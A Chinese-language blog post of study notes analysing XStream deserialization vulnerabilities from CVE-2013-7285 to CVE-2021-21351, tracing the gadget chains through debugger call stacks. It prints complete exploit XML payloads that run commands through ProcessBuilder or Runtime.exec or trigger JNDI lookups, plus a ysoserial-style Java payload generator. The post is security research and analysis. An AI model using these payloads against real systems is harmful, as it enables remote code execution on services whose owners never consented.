1. 程式人生 > 其它 >Xstream反序列化漏洞學習筆記

Xstream反序列化漏洞學習筆記

繼續用去年寫的筆記混點部落格kpi...

目錄
一直沒有詳細學習過XStream漏洞,感覺和原生反序列化反射觸發私有readObject以及fastjson觸發setter/getter都挺不一樣的,覺得很有意思,做一下學習記錄。

CVE-2013-7285

這個編號是XStream的第一個cve編號,經典的EventHandler利用鏈,它的利用方式是在反序列化解析xml的過程中對繫結EventHandler的動態代理物件呼叫其繫結介面的方法從而觸發到EventHandler的invoke方法,最終觸發了命令執行

先上payload,該payload可利用版本為 1.3.1<XStream<1.4 1.4.5<=XStream<=1.4.6或=1.4.10:

<sorted-set>
    <string>foo</string>
    <dynamic-proxy> <!-- Proxy 動態代理,handler使用EventHandler -->
        <interface>java.lang.Comparable</interface>
        <handler class="java.beans.EventHandler">
            <target class="java.lang.ProcessBuilder">
                <command>
                    <string>open</string>
                    <string>/Applications/Calculator.app</string>
                </command>
            </target>
            <action>start</action>
        </handler>
    </dynamic-proxy>
</sorted-set>

作為第一個cve編號,分析漏洞的過程中寫詳細一點,梳理一下Xstream反序列化的整個流程

在com.thoughtworks.xstream.core.TreeUnmarshaller#start處下斷點,前面不涉及關鍵程式碼,從此處開始解析xml,我們分析這個cve的同時分析一下Xstream解析的流程

跟到HierarchicalStreams#readClassType,在這裡獲取當前節點並返回和其對應的類,也就是StortedSet

sorted-set是別名,Xstream初始化時會定義

返回後接著來到TreeUnmarshaller#convertAnother,converter為null,呼叫DefaultConverterLookup#lookupConverterForType尋找對應型別的converter。在此之前還會呼叫defaultImplementationOf方法去在mapper物件中去尋找介面的實現類,這裡返回java.util.TreeSet

繼續跟進,在這裡遍歷XStream中註冊好的converters,

然後呼叫converter的canConvert方法尋找對應型別的轉換器,找到TreeSetConverter並將類和converter儲存到map中

接著略過不重要的步驟,呼叫了Object result = converter.unmarshal(reader, this); ,跟到TreeSetConverter#unmarshal,這是核心的反序列化方法

 public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
        TreeSet result = null;
        final TreeMap treeMap;
        Comparator unmarshalledComparator = treeMapConverter.unmarshalComparator(reader, context, null);
        boolean inFirstElement = unmarshalledComparator instanceof Mapper.Null;
        Comparator comparator = inFirstElement ? null : unmarshalledComparator;
        if (sortedMapField != null) {
            TreeSet possibleResult = comparator == null ? new TreeSet() : new TreeSet(comparator);
            Object backingMap = null;
            try {
                backingMap = sortedMapField.get(possibleResult);
            } catch (IllegalAccessException e) {
                throw new ConversionException("Cannot get backing map of TreeSet", e);
            }
            if (backingMap instanceof TreeMap) {
                treeMap = (TreeMap)backingMap;
                result = possibleResult;
            } else {
                treeMap = null;
            }
        } else {
            treeMap = null;
        }
        if (treeMap == null) {
            final PresortedSet set = new PresortedSet(comparator);
            result = comparator == null ? new TreeSet() : new TreeSet(comparator);
            if (inFirstElement) {
                // we are already within the first element
                addCurrentElementToCollection(reader, context, result, set);
                reader.moveUp();
            }
            populateCollection(reader, context, result, set);
            if (set.size() > 0) {
                result.addAll(set); // comparator will not be called if internally optimized
            }
        } else {
            treeMapConverter.populateTreeMap(reader, context, treeMap, unmarshalledComparator);
        }
        return result;
    }

依然是略過不重要的部分來到37行 treeMapConverter.populateTreeMap

在紅框的部分首先呼叫putCurrentEntryIntoMap,接著往後解析xml然後呼叫populateMap(reader, context, result, sortedMap),這裡直接貼跟進去的呼叫棧

unmarshal:256, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core) [4]
convert:65, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
unmarshallField:474, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
doUnmarshal:406, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
unmarshal:257, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core) [3]
convert:65, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
unmarshal:127, DynamicProxyConverter (com.thoughtworks.xstream.converters.extended)
convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core) [2]
convert:65, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
readItem:71, AbstractCollectionConverter (com.thoughtworks.xstream.converters.collections)
addCurrentElementToCollection:98, CollectionConverter (com.thoughtworks.xstream.converters.collections)
populateCollection:91, CollectionConverter (com.thoughtworks.xstream.converters.collections)
populateCollection:85, CollectionConverter (com.thoughtworks.xstream.converters.collections)
populateMap:104, TreeSetConverter$1 (com.thoughtworks.xstream.converters.collections)
populateTreeMap:116, TreeMapConverter (com.thoughtworks.xstream.converters.collections)

populateMap呼叫CollectionConverter#populateCollection,再接著呼叫addCurrentElementToCollection,通過看執行堆疊和原始碼可以看出這是在迴圈遍歷子標籤並將其轉換成對應的類,然後重複之前的流程,即尋找對應的convert並呼叫對應Convert的unmarshal方法,unmarshal即是反序列化方法。

比如在DynamicProxyConverter#unmarshal中,就是解析子標籤中的interface節點和handler節點,構建出對應的動態代理物件。

上述流程執行完畢後回到TreeMapConverter#populateTreeMap,執行result.putALL(sortedMap),此時sortedMap存著兩個物件(為了後續滿足comapreTo的條件)其中一個是動態代理物件,h是EventHandler

這裡執行result.putAll,接著往下跟,先貼呼叫棧

invokeInternal:449, EventHandler (java.beans)
access$000:279, EventHandler (java.beans)
run:430, EventHandler$1 (java.beans)
doPrivileged:-1, AccessController (java.security)
invoke:428, EventHandler (java.beans)
compareTo:-1, $Proxy0 (com.sun.proxy)
put:568, TreeMap (java.util)
putAll:281, AbstractMap (java.util)
putAll:327, TreeMap (java.util)

到了TreeMap#put方法,而這裡對動態代理物件呼叫了compareTo方法,觸發動態代理機制,呼叫EventHandler的invoke方法

在invoke方法中呼叫invokeInternal方法,程式碼如下

 private Object invokeInternal(Object proxy, Method method, Object[] arguments) {
        String methodName = method.getName();
        if (method.getDeclaringClass() == Object.class)  {
            // Handle the Object public methods.
            if (methodName.equals("hashCode"))  {
                return new Integer(System.identityHashCode(proxy));
            } else if (methodName.equals("equals")) {
                return (proxy == arguments[0] ? Boolean.TRUE : Boolean.FALSE);
            } else if (methodName.equals("toString")) {
                return proxy.getClass().getName() + '@' + Integer.toHexString(proxy.hashCode());
            }
        }

        if (listenerMethodName == null || listenerMethodName.equals(methodName)) {
            Class[] argTypes = null;
            Object[] newArgs = null;

            if (eventPropertyName == null) {     // Nullary method.
                newArgs = new Object[]{};
                argTypes = new Class<?>[]{};
            }
            else {
                Object input = applyGetters(arguments[0], getEventPropertyName());
                newArgs = new Object[]{input};
                argTypes = new Class<?>[]{input == null ? null :
                                       input.getClass()};
            }
            try {
                int lastDot = action.lastIndexOf('.');
                if (lastDot != -1) {
                    target = applyGetters(target, action.substring(0, lastDot));
                    action = action.substring(lastDot + 1);
                }
                Method targetMethod = Statement.getMethod(
                             target.getClass(), action, argTypes);
                if (targetMethod == null) {
                    targetMethod = Statement.getMethod(target.getClass(),
                             "set" + NameGenerator.capitalize(action), argTypes);
                }
                if (targetMethod == null) {
                    String argTypeString = (argTypes.length == 0)
                        ? " with no arguments"
                        : " with argument " + argTypes[0];
                    throw new RuntimeException(
                        "No method called " + action + " on " +
                        target.getClass() + argTypeString);
                }
                return MethodUtil.invoke(targetMethod, target, newArgs);
            }
            catch (IllegalAccessException ex) {
                throw new RuntimeException(ex);
            }
            catch (InvocationTargetException ex) {
                Throwable th = ex.getTargetException();
                throw (th instanceof RuntimeException)
                        ? (RuntimeException) th
                        : new RuntimeException(th);
            }
        }
        return null;
    }

根據動態代理機制,這裡的method引數值為compareTo,最終走到第48行,反射呼叫java.lang.ProcessBuilder的start方法執行命令

這個利用鏈的核心是因為XStream存在DynamicProxyConverter轉換器,該轉換器可以將XML中dynamic-proxy標籤內容轉換成對應動態代理物件,而當對動態代理物件呼叫了dynamic-proxy標籤內的interface標籤指向的介面中宣告的方法,根據動態代理機制會觸發對應handler也就是dynamic-proxy標籤下handler節點的EventHandler中的invoke方法。

Poc2:

該payload可利用版本為1.3.1<XStream<=1.4.6或=1.4.10

<tree-map>
    <entry>
        <string>fookey</string>
        <string>foovalue</string>
    </entry>
    <entry>
        <dynamic-proxy>
            <interface>java.lang.Comparable</interface>
            <handler class="java.beans.EventHandler">
                <target class="java.lang.ProcessBuilder">
                    <command>
                        <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
                    </command>
                </target>
                <action>start</action>
            </handler>
        </dynamic-proxy>
        <string>good</string>
    </entry>
</tree-map>

poc1不能用於1.4-1.4.4原因是因為在其TreeSetConverter#unmarshal中,sortedMapField為null,導致treeMap被設定為null

treeMap為null導致在接下來的流程中無法進入到treeMapConverter#populateTreeMap

CVE-2020-26217

這是繼CVE-2013-7285後的第二個rce的cve編號,通過一個黑名單之外的gadget,可以成功繞過之前的補丁造成遠端命令執行。包括1.4.13在內的所有版本都會受到漏洞的影響。

poc如下

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
        <dataHandler>
          <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
            <contentType>text/plain</contentType>
            <is class='java.io.SequenceInputStream'>
              <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
                <iterator class='javax.imageio.spi.FilterIterator'>
                  <iter class='java.util.ArrayList$Itr'>
                    <cursor>0</cursor>
                    <lastRet>-1</lastRet>
                    <expectedModCount>1</expectedModCount>
                    <outer-class>
                      <java.lang.ProcessBuilder>
                        <command>
                          <string>open</string>
                          <string>-a</string>
                          <string>Calculator</string>
                        </command>
                      </java.lang.ProcessBuilder>
                    </outer-class>
                  </iter>
                  <filter class='javax.imageio.ImageIO$ContainsFilter'>
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>start</name>
                  </filter>
                  <next/>
                </iterator>
                <type>KEYS</type>
              </e>
              <in class='java.io.ByteArrayInputStream'>
                <buf></buf>
                <pos>0</pos>
                <mark>0</mark>
                <count>0</count>
              </in>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <string>test</string>
  </entry>
</map>

使用payload除錯,直接在ProcessBuilder#start處打上斷點,得到如下的呼叫棧

start:1016, ProcessBuilder (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
filter:613, ImageIO$ContainsFilter (javax.imageio)
advance:834, FilterIterator (javax.imageio.spi)
next:852, FilterIterator (javax.imageio.spi)
nextElement:153, MultiUIDefaults$MultiUIDefaultsEnumerator (javax.swing)
nextStream:110, SequenceInputStream (java.io)
read:211, SequenceInputStream (java.io)
readFrom:65, ByteArrayOutputStreamEx (com.sun.xml.internal.bind.v2.util)
get:182, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
toString:286, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
getStringValue:121, NativeString (jdk.nashorn.internal.objects)
hashCode:117, NativeString (jdk.nashorn.internal.objects)
hash:339, HashMap (java.util)
put:612, HashMap (java.util)
putCurrentEntryIntoMap:107, MapConverter (com.thoughtworks.xstream.converters.collections)
populateMap:98, MapConverter (com.thoughtworks.xstream.converters.collections)
populateMap:92, MapConverter (com.thoughtworks.xstream.converters.collections)
unmarshal:87, MapConverter (com.thoughtworks.xstream.converters.collections)
convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
start:134, TreeUnmarshaller (com.thoughtworks.xstream.core)
unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core)
unmarshal:1404, XStream (com.thoughtworks.xstream)
unmarshal:1383, XStream (com.thoughtworks.xstream)
fromXML:1349, XStream (com.thoughtworks.xstream)
fromXML:1299, XStream (com.thoughtworks.xstream)

如果前面說CVE-2013-7285中的鏈最終總結其實就是兩個treeMap/treeSet物件在TreeMapConverter中呼叫AbstractMap的putAll方法,然後從putAll跟進去後對其中的動態代理物件key呼叫compareTo導致觸發其invoke方法最終rce。

那麼這個繞過就是兩個map物件反序列化時在MapConverter中最終呼叫put方法,然後再從hashcode方法一路觸發到javax.imageio.ImageIO$ContainsFilter中的filter方法,這裡method.invoke觸發了命令執行

根據回顧XStream反序列化漏洞這篇文章來看,從MapConverter中呼叫put到ImageIO$ContainsFilter#filter應該是在此cve之前就出現的利用鏈,但之前的利用鏈中用到的javax.crypto.CipherInputStream類在1.4.10時被黑名單禁用掉了,此cve將原來鏈中需要呼叫的javax.crypto.CipherInputStream#read方法換成了java.io.SequenceInputStream#read,繞過了黑名單。

java.io.SequenceInputStream#read中呼叫了其nextStream方法,其中e可控,payload裡可以看到值為javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator


跟到javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator,這裡呼叫iterator.next()

根據回顧XStream反序列化漏洞可知這裡又連結上了文中的鏈,即javax.imageio.spi.FilterIterator#next

這個cve利用的是MapConverter,本質是對已有的利用鏈中黑名單的部分做了繞過。

CVE-2021-21344

這是Xstream第三個rce的編號,Xstream官網上的這個payload超級長

<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
      <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
        <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
          <packet>
            <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
              <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
                <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
                  <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
                    <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
                      <jaxbType>com.sun.rowset.JdbcRowSetImpl</jaxbType>
                      <uriProperties/>
                      <attributeProperties/>
                      <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
                        <getter>
                          <class>com.sun.rowset.JdbcRowSetImpl</class>
                          <name>getDatabaseMetaData</name>
                          <parameter-types/>
                        </getter>
                      </inheritedAttWildcard>
                    </bi>
                    <tagName/>
                    <context>
                      <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
                        <outer-class reference='../..'/>
                      </marshallerPool>
                      <nameList>
                        <nsUriCannotBeDefaulted>
                          <boolean>true</boolean>
                        </nsUriCannotBeDefaulted>
                        <namespaceURIs>
                          <string>1</string>
                        </namespaceURIs>
                        <localNames>
                          <string>UTF-8</string>
                        </localNames>
                      </nameList>
                    </context>
                  </bridge>
                </bridge>
                <jaxbObject class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
                  <javax.sql.rowset.BaseRowSet>
                    <default>
                      <concurrency>1008</concurrency>
                      <escapeProcessing>true</escapeProcessing>
                      <fetchDir>1000</fetchDir>
                      <fetchSize>0</fetchSize>
                      <isolation>2</isolation>
                      <maxFieldSize>0</maxFieldSize>
                      <maxRows>0</maxRows>
                      <queryTimeout>0</queryTimeout>
                      <readOnly>true</readOnly>
                      <rowSetType>1004</rowSetType>
                      <showDeleted>false</showDeleted>
                      <dataSource>rmi://localhost:15000/CallRemoteMethod</dataSource>
                      <params/>
                    </default>
                  </javax.sql.rowset.BaseRowSet>
                  <com.sun.rowset.JdbcRowSetImpl>
                    <default>
                      <iMatchColumns>
                        <int>-1</int>
                        <int>-1</int>
                        <int>-1</int>
                        <int>-1</int>
                        <int>-1</int>
                        <int>-1</int>
                        <int>-1</int>
                        <int>-1</int>
                        <int>-1</int>
                        <int>-1</int>
                      </iMatchColumns>
                      <strMatchColumns>
                        <string>foo</string>
                        <null/>
                        <null/>
                        <null/>
                        <null/>
                        <null/>
                        <null/>
                        <null/>
                        <null/>
                        <null/>
                      </strMatchColumns>
                    </default>
                  </com.sun.rowset.JdbcRowSetImpl>
                </jaxbObject>
              </dataSource>
            </message>
            <satellites/>
            <invocationProperties/>
          </packet>
        </indexMap>
      </comparator>
    </default>
    <int>3</int>
    <string>javax.xml.ws.binding.attachments.inbound</string>
    <string>javax.xml.ws.binding.attachments.inbound</string>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>

第一眼就能發現JdbcRowSetImpl這個關鍵類,看來這個最終利用是jndi注入了,比較有意思的是,這個rce不像前面分析的兩個rce,它出現了serialization這個關鍵詞,難道說跟原生反序列化還有關係?

前面說過Xstream對應不同型別的類會有不同的converter,這是在它初始化時註冊的

檢視程式碼會發現其中存在一個SerializableConverter,前面分析了Xstream反序列化的流程,所以我們直接看它的unmarshal方法,其中呼叫doUnmarshal方法,跟進去,發現對實現了Serializable的類呼叫了callReadObject方法

而該方法會反射呼叫readObject方法

比如我寫一個Person類如下:

public class Person implements Serializable {

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ois.defaultReadObject();
        System.out.println("test");
    }
}

然後使用Xstream的fromXML來測試,就會發現觸發了Person#readObject方法

那麼這樣一來,Xstream的攻擊鏈就擴大到了可以使用任何原生的反序列化gadget,比如環境中假如存在commons-collections,就可以用ysoserial中的CommonsCollections鏈來攻擊了,也就是說只要有依賴,ysoserial中的反序列鏈就可以用。
其實這裡有問題,後續我在用gadgetinspector做自動鏈挖掘時發現由於註冊converter順序的不同導致某些鏈是用不了的,因為這個原因導致gadgetinspector的規則來挖Xstream反序列化鏈的結果也是有誤報的,這裡不細說了

這個CVE用的是和CommonsCollections2一樣的起點,即java.util.PriorityQueue,CommonsCollections2這個利用鏈的核心是呼叫某個Comparator的compare方法,它用的是TransformingComparator,在compare方法中接著呼叫了InvokerTransformer#transform,最終達到rce的效果,但TransformingComparator和InvokerTransformer都是commons-collections裡面才有的類,因此這裡只能自己挖鏈

放個從readObject開始的執行堆疊吧

connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
get:343, Accessor$GetterSetterReflection (com.sun.xml.internal.bind.v2.runtime.reflect)
serializeURIs:402, ClassBeanInfoImpl (com.sun.xml.internal.bind.v2.runtime)
childAsXsiType:662, XMLSerializer (com.sun.xml.internal.bind.v2.runtime)
write:256, MarshallerImpl (com.sun.xml.internal.bind.v2.runtime)
marshal:89, BridgeImpl (com.sun.xml.internal.bind.v2.runtime)
marshal:130, Bridge (com.sun.xml.internal.bind.api)
marshal:161, BridgeWrapper (com.sun.xml.internal.ws.db.glassfish)
writeTo:109, JAXBAttachment (com.sun.xml.internal.ws.message)
asInputStream:99, JAXBAttachment (com.sun.xml.internal.ws.message)
getInputStream:125, JAXBAttachment (com.sun.xml.internal.ws.message)
getMessage:366, XMLMessage$XMLMultiPart (com.sun.xml.internal.ws.encoding.xml)
getAttachments:465, XMLMessage$XMLMultiPart (com.sun.xml.internal.ws.encoding.xml)
getAttachments:103, MessageWrapper (com.sun.xml.internal.ws.api.message)
get:111, ResponseContext (com.sun.xml.internal.ws.client)
compareIndices:2492, DataTransferer$IndexedComparator (sun.awt.datatransfer)
compare:2971, DataTransferer$IndexOrderComparator (sun.awt.datatransfer)
siftDownUsingComparator:722, PriorityQueue (java.util)
siftDown:688, PriorityQueue (java.util)
heapify:737, PriorityQueue (java.util)
readObject:797, PriorityQueue (java.util)

其實看了執行堆疊之後,我感覺這跟ysoserial已有的鏈確實沒啥關係,畢竟後面的堆疊實在太深了。

CVE-2021-21344<Xstream<CVE-2021-29505

從CVE-2021-21344開始在Xstream的利用上擴充套件了原生反序列化,因此接下來為了方便理解,我將剩下的所有cve的利用鏈分為兩類:原生反序列化利用鏈(SerializableConverter)和從其他converter開始的利用鏈

CVE-2021-39139CVE-2021-29505

先提一下這兩個鏈,CVE-2021-39139本身就是jdk7u21這個鏈,需要jdk版本在7u21以下,而CVE-2021-29505的簡化版其實就是JRMPClient這個鏈,而JRMPClient這個鏈單獨用是沒用的,必須依賴環境中有可以利用的其他的gadget,比如CommonsBeanutils1,問題是假如有CommonsBeanutils1依賴的環境,那完全可以直接把CommonsBeanutils1轉成Xstream的payload,並且因CommonsBeanutils1導致的反序列化嚴格意義來說其實不算是Xstream自身的問題

這兩個鏈不再具體分析,直接用ysoserial就可以生成Xstream的payload

CVE-2021-39144

先看官網上的payload,這條鏈是純原生反序列化利用鏈,而且是直接執行命令,長度也不算太長,正好用來學習

<java.util.PriorityQueue serialization='custom'>
    <unserializable-parents/>
    <java.util.PriorityQueue>
        <default>
            <size>2</size>
        </default>
        <int>3</int>
        <dynamic-proxy>
            <interface>java.lang.Comparable</interface>
            <handler class='sun.tracing.NullProvider'>
                <active>true</active>
                <providerType>java.lang.Comparable</providerType>
                <probes>
                    <entry>
                        <method>
                            <class>java.lang.Comparable</class>
                            <name>compareTo</name>
                            <parameter-types>
                                <class>java.lang.Object</class>
                            </parameter-types>
                        </method>
                        <sun.tracing.dtrace.DTraceProbe>
                            <proxy class='java.lang.Runtime'/>
                            <implementing__method>
                                <class>java.lang.Runtime</class>
                                <name>exec</name>
                                <parameter-types>
                                    <class>java.lang.String</class>
                                </parameter-types>
                            </implementing__method>
                        </sun.tracing.dtrace.DTraceProbe>
                    </entry>
                </probes>
            </handler>
        </dynamic-proxy>
        <string>whoami</string>
    </java.util.PriorityQueue>
</java.util.PriorityQueue>

放一個完整的呼叫堆疊,如下

exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
uncheckedTrigger:58, DTraceProbe (sun.tracing.dtrace)
triggerProbe:269, ProviderSkeleton (sun.tracing)
invoke:178, ProviderSkeleton (sun.tracing)
compareTo:-1, $Proxy0 (com.sun.proxy)
siftDownComparable:704, PriorityQueue (java.util)
siftDown:690, PriorityQueue (java.util)
heapify:737, PriorityQueue (java.util)
readObject:797, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
callReadObject:132, SerializationMembers (com.thoughtworks.xstream.core.util)
doUnmarshal:443, SerializableConverter (com.thoughtworks.xstream.converters.reflection)
unmarshal:277, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
start:134, TreeUnmarshaller (com.thoughtworks.xstream.core)
unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core)
unmarshal:1404, XStream (com.thoughtworks.xstream)
unmarshal:1383, XStream (com.thoughtworks.xstream)
fromXML:1349, XStream (com.thoughtworks.xstream)
fromXML:1299, XStream (com.thoughtworks.xstream)

這條鏈呼叫棧不算特別深,反寫一下java程式碼吧

package ysoserial.payloads;

import com.thoughtworks.xstream.XStream;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.lang.reflect.*;
import java.util.*;


public class Xstream39144 implements ObjectPayload<Object> {

    public Object getObject(final String command) throws Exception {



        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, null);
        // stub data for replacement later
        queue.add(1);
        queue.add(1);

        Class clazz = Comparable.class;
        Method method = clazz.getDeclaredMethod("compareTo", Object.class);
        Constructor con = Runtime.class.getDeclaredConstructor();
        con.setAccessible(true);
        Object runtime = con.newInstance();
        Method method1 = Runtime.class.getDeclaredMethod("exec",String.class);
        Constructor con1 = Class.forName("sun.tracing.NullProvider").getDeclaredConstructor(Class.class);
        con1.setAccessible(true);

        InvocationHandler nullProvider = (InvocationHandler)con1.newInstance(Comparable.class);
        Reflections.setFieldValue(nullProvider, "active", true);
        Map map = new HashMap();

        Object dTraceProbe = Reflections.newInstance("sun.tracing.dtrace.DTraceProbe",runtime,method1);
        map.put(method,dTraceProbe);
        Reflections.setFieldValue(nullProvider, "probes", map);

        Proxy s = (Proxy) Proxy.newProxyInstance(Xstream39144.class.getClassLoader(),Byte.class.getInterfaces(),nullProvider);
        
        final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
        queueArray[0] = s;
        queueArray[1] = command;
        XStream xstream = new XStream();
        System.out.println(xstream.toXML(queue));

        return queue;
    }
    

    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(Xstream39144.class, args);
    }

}

剛開始我在想,既然這條鏈是純原生反序列化鏈,是否就意味著它在原生反序列化中也可以拿來使用,但是反寫了java程式碼以後就會發現出現了一個致命的被忘記的問題

sun.tracing.NullProvider這個類沒有實現Serializable介面,而這是java原生反序列必要的條件,而Xstream可以用這條鏈是Xstream在序列化時只對呼叫SerializableConverter的類判斷是否實現Serializable介面這個條件,換句話說只要readObject起點類滿足實現Serializable介面就行。

CVE-2021-21351

官網payload如下

<sorted-set>
    <javax.naming.ldap.Rdn_-RdnEntry>
        <type>ysomap</type>
        <value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>
            <m__DTMXRTreeFrag>
                <m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>
                    <m__size>-10086</m__size>
                    <m__mgrDefault>
                        <__overrideDefaultParser>false</__overrideDefaultParser>
                        <m__incremental>false</m__incremental>
                        <m__source__location>false</m__source__location>
                        <m__dtms>
                            <null/>
                        </m__dtms>
                        <m__defaultHandler/>
                    </m__mgrDefault>
                    <m__shouldStripWS>false</m__shouldStripWS>
                    <m__indexing>false</m__indexing>
                    <m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>
                        <fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
                            <javax.sql.rowset.BaseRowSet>
                                <default>
                                    <concurrency>1008</concurrency>
                                    <escapeProcessing>true</escapeProcessing>
                                    <fetchDir>1000</fetchDir>
                                    <fetchSize>0</fetchSize>
                                    <isolation>2</isolation>
                                    <maxFieldSize>0</maxFieldSize>
                                    <maxRows>0</maxRows>
                                    <queryTimeout>0</queryTimeout>
                                    <readOnly>true</readOnly>
                                    <rowSetType>1004</rowSetType>
                                    <showDeleted>false</showDeleted>
                                    <dataSource>rmi://localhost:15000/CallRemoteMethod</dataSource>
                                    <listeners/>
                                    <params/>
                                </default>
                            </javax.sql.rowset.BaseRowSet>
                            <com.sun.rowset.JdbcRowSetImpl>
                                <default/>
                            </com.sun.rowset.JdbcRowSetImpl>
                        </fPullParserConfig>
                        <fConfigSetInput>
                            <class>com.sun.rowset.JdbcRowSetImpl</class>
                            <name>setAutoCommit</name>
                            <parameter-types>
                                <class>boolean</class>
                            </parameter-types>
                        </fConfigSetInput>
                        <fConfigParse reference='../fConfigSetInput'/>
                        <fParseInProgress>false</fParseInProgress>
                    </m__incrementalSAXSource>
                    <m__walker>
                        <nextIsRaw>false</nextIsRaw>
                    </m__walker>
                    <m__endDocumentOccured>false</m__endDocumentOccured>
                    <m__idAttributes/>
                    <m__textPendingStart>-1</m__textPendingStart>
                    <m__useSourceLocationProperty>false</m__useSourceLocationProperty>
                    <m__pastFirstElement>false</m__pastFirstElement>
                </m__dtm>
                <m__dtmIdentity>1</m__dtmIdentity>
            </m__DTMXRTreeFrag>
            <m__dtmRoot>1</m__dtmRoot>
            <m__allowRelease>false</m__allowRelease>
        </value>
    </javax.naming.ldap.Rdn_-RdnEntry>
    <javax.naming.ldap.Rdn_-RdnEntry>
        <type>ysomap</type>
        <value class='com.sun.org.apache.xpath.internal.objects.XString'>
            <m__obj class='string'>test</m__obj>
        </value>
    </javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>

執行後的堆疊如下:

connect:624, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
parseSome:373, IncrementalSAXSource_Xerces (com.sun.org.apache.xml.internal.dtm.ref)
deliverMoreNodes:312, IncrementalSAXSource_Xerces (com.sun.org.apache.xml.internal.dtm.ref)
nextNode:814, SAX2DTM (com.sun.org.apache.xml.internal.dtm.ref.sax2dtm)
_firstch:535, DTMDefaultBase (com.sun.org.apache.xml.internal.dtm.ref)
